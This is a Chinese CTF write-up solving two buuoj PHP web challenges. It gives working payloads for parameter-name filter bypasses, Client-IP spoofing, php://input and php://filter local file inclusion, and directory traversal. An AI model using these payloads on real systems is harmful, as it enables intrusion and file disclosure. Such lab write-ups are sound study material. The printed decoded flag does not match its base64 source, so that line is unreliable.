buuoj刷的兩道簡單ctf題

雖然簡單，但是有一些小trick值得記錄一下

[MRCTF2020]套娃

F12查看源碼，發現可疑代碼

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

 兩個限制條件

一個是我們傳入參數的變量名和值都不允許出現'_'和'%5f'，另一個是需要通過get方式傳入一個b_u_p_t不等於23333，然後又不能以23333爲開始和結尾

第一個繞過可以使用空格或者點或者%5F（substr_count函數區分大小寫），第二個繞過在末尾使用%0a，完整的payload如下

?b u p t=23333%0a
?b.u.p.t=23333%0a
?b%5Fu%5Fp%5Ft=23333%0a

提交之後可以看到提示

訪問secrettw.php

Flag is here~But how to get it?Local access only!
Sorry,you don't have permission! Your ip is :sorry,this way is banned!

查看源碼發現

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 直接放到console執行，彈出一個框提示需要post一個數據Merak

通過burpsuit傳入Merak，值隨便寫

 得到關鍵性源碼

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

 這裏需要繞過ip檢測，xff沒用，使用client-ip成功繞過

還有一個get傳入的2333，通過file_get_contents要讀取到todat is happy day，這裏使用php僞協議php://input繞過

最後讀取flag.php還有一個change函數，需要逆向傳入

逆向加密flag.php字符串的腳本

import base64
flag='flag.php'
re=''
j=0
for i in flag:
   re+=chr(ord(i)-j*2)
   j+=1
print base64.b64encode(re.encode())

 得到的payload

ZmpdYSZmXGI=

 最後拿到flag

[BSidesCF 2020]Had a bad day

打開題目鏈接

兩個按鈕隨便點擊一下，發現鏈接後面多了參數，於是果斷單引號，嘗試sql注入，產生報錯

但這個報錯不是sql注入，但是卻給了新的思路，發現是include函數，把我們傳入的參數拼接'.php'進行包含，於是使用php僞協議讀取一下index.php的源碼，payload如下

?category=php://filter/read=convert.base64-encode/resource=index

得到index.php經過base64加密的內容 

解密後的關鍵代碼

<?php
    $file = $_GET['category'];

    if(isset($file))
    {
        if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
            include ($file . '.php');
	    }			
        else{
			echo "Sorry, we currently only support woofers and meowers.";		
		}
	}
?>

 這裏要求傳入的內容必須包含woofers或者meowers，或者index不在開頭

這裏的繞過的payload

?category=php://filter/read=convert.base64-encode/index/resource=flag

中間多出來的index，由於沒有這個語法，所以不起作用，但是也不影響，所以可以繞過，用其他兩個代替也可以

得到flag.php文件的base編碼內容

解碼得到flag

PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7OWYzZTFkNjgtYWNhNi00OTE1LTkzNTUtODhjOWY5ZThjYzU0fQo/Pgo=
<!-- Can you read this flag? -->
<?php
 // flag{60ced552-49d7-4c01-ad1a-1600a585b81b}
?>

然後記錄一下學習的小trick：可以利用php的特性包含文件，?category=woofers/../flag，在woofer這個目錄下，又通過../跳到上一個目錄，就相當於是當前目錄。萬一以後打ctf用得到呢。